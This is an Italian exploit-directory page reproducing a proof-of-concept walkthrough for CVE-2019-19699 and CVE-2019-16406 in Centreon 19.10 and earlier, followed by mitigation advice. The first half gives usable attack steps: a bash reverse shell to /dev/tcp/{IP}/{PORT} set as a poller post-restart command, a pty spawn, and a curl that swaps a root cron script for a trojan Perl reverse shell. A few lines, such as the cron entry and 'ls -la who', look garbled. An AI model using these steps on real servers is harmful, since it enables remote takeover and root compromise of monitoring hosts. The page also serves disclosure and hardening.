Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-19699 — Centreon =<19.10 RCE autenticata | Kitploit
Strumenti/GitHubGitHub/spengesec/cve-2019-19699
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubspengesec/cve-2019-19699

CVE-2019-19699

Centreon =<19.10 RCE autenticata

Vedi Repository
316 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-19699

Centreon =< 19.10

Prova di Concetto

  1. Esecuzione di codice remoto autenticata (CVE-2019-19699)
  2. Escalation dei privilegi (Procedura e Mitigazione)

Scoperto da:

SpengeSec (Guylian Dw)

TheCyberGeek (Matthew B)

Esecuzione di codice remoto autenticata:

Iniziamo accedendo come utente Admin al pannello web di Centreon.

Dopo aver effettuato l'accesso, navighiamo fino a Configuration > Commands > Miscellaneous

Procedere cliccando su Add come mostrato nell'immagine qui sotto.

Ora creiamo una reverse shell bash come nostro comando Miscellaneous

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

E cliccare su Save

Ora navighiamo fino a Configuration > Pollers e procediamo cliccando sul poller Central corrente

Questo dà accesso al menu Modify a poller Configuration

Qui possiamo scorrere verso il basso e impostare un Post-restart command

Procedere selezionando la reverse shell che abbiamo creato in precedenza e cliccare sul pulsante Save

Possiamo ora procedere avviando il listener Netcat sulla nostra macchina locale

Infine clicchiamo sul pulsante Export configuration nel menu Configuration > Pollers

  1. Selezionare il poller Central nella casella a discesa Pollers

  2. Deselezionare le caselle Generate Configuration Files e Run monitoring engine debug (-v)

  3. Selezionare le caselle Restart Monitoring Engine e Post generation command

  4. Selezionare Restart nella casella a discesa Method

Cliccando su Export, il Poller si riavvierà e quindi eseguirà il Post-Restart Command che abbiamo configurato in precedenza Questo è il momento in cui il nostro listener reverse shell riceverà una connessione

Esecuzione di codice remoto autenticata riuscita!

(Questa era la descrizione per CVE-2019-19699)

Da qui in poi passiamo all'ottenimento di Root

Utilizzeremo CVE-2019-16406 trovata da TheCyberGeek per compromettere completamente il server Centreon =< 19.10

Iniziamo generando una shell TTY nel nostro terminale reverse shell corrente

python -c 'import pty; pty.spawn("/bin/sh")'

Ora diamo un'occhiata a quali attività cron esistono eseguendo cat /etc/cron.d/*

Ora vediamo che centreon_autodisc.pl è un'attività Cron

(Era impostato da 30 22 * * * root a * * * * * root per scopi dimostrativi)

Questo viene eseguito come Root, sostituiamo il centreon_autodisco.pl con una reverse shell Perl

La shell Perl che userò può essere scaricata qui

Scarica la reverse shell e modifica l'indirizzo IP e la porta con i tuoi come spiegato nella pagina web

Esegui un mv per rinominare il file perl-reverse-shell.pl in centreon_autodisco.pl localmente

Procediamo e avviamo un SimpleHTTPServer locale su una porta a scelta

In questo modo, possiamo curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl per sostituire l'esistente centreon_autodisco.pl con la nostra reverse shell Perl trojan

Ora che il file è stato sostituito, non resta che avviare un listener Netcat sulla porta che abbiamo configurato in precedenza e riceveremo una connessione dal server come utente Root!

Accesso di root al sistema riuscito!

Passiamo ora alle note su come pensiamo che l'escalation dei privilegi dovrebbe essere mitigata!

Impostazioni attuali in 19.10:

root@kitploit:~
#####################################
# Centreon Auto Discovery
#

30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1

File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11  2017 /usr/lib/centreon/plugins/cwrapper_perl

Mitigazione per /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

ls -la who

-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

Come puoi vedere, ora è di proprietà di Root, il gruppo apache può solo leggere ed eseguirlo, centreon può solo eseguirlo, quindi non influisce sulla funzionalità.

Esempio:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied Ma apache può ancora eseguirlo.

Mitigazione per /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

Come puoi vedere, ora è di proprietà di Root, il gruppo apache può solo leggere ed eseguirlo, centreon può solo eseguirlo, quindi non influisce sulla funzionalità.

Esempio:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied Ma apache può ancora eseguirlo.

Mitigazione per /usr/lib/centreon/plugins/cwrapper_perl

Usa i comandi sudo per definire script specifici che devono essere eseguiti da ogni utente.

Facendo sì che root possieda ogni script perl in modo che gli utenti non possano alterare o sostituire lo script per l'escalation dei privilegi.

chmod 755 /usr/lib/centreon/plugins/cwrapper_perl

ls -la /usr/lib/centreon/plugins/cwrapper_perl

-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl

Ora gli utenti non possono più alterare o sostituire lo script!

Esempio:

cat /etc/sudoers

...

## Allow root to run any commands anywhere

root ALL=(ALL) ALL

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl

...

---End of Sudoers---

ls -la example_script1.pl

-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl

ls -la examle_scripts1.pl

-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl

Gli utenti possono ancora eseguire gli script necessari e gli script non possono essere modificati da apache o centreon, eliminando così del tutto la minaccia alla sicurezza per l'escalation dei privilegi.

Se un attaccante riuscisse a entrare nella macchina ora, prendere il pieno controllo della macchina sarebbe molto difficile o impossibile a meno che non vengano scoperte altre minacce.

Per l'utente Centreon, l'unica escalation di privilegi che abbiamo trovato era la cwrapper per perl, quindi se il post-restart veniva eseguito dall'utente centreon e un attaccante otteneva una shell come utente centreon, non ci sarebbe praticamente più superficie di attacco.

Grazie per la lettura

Scarica lo strumento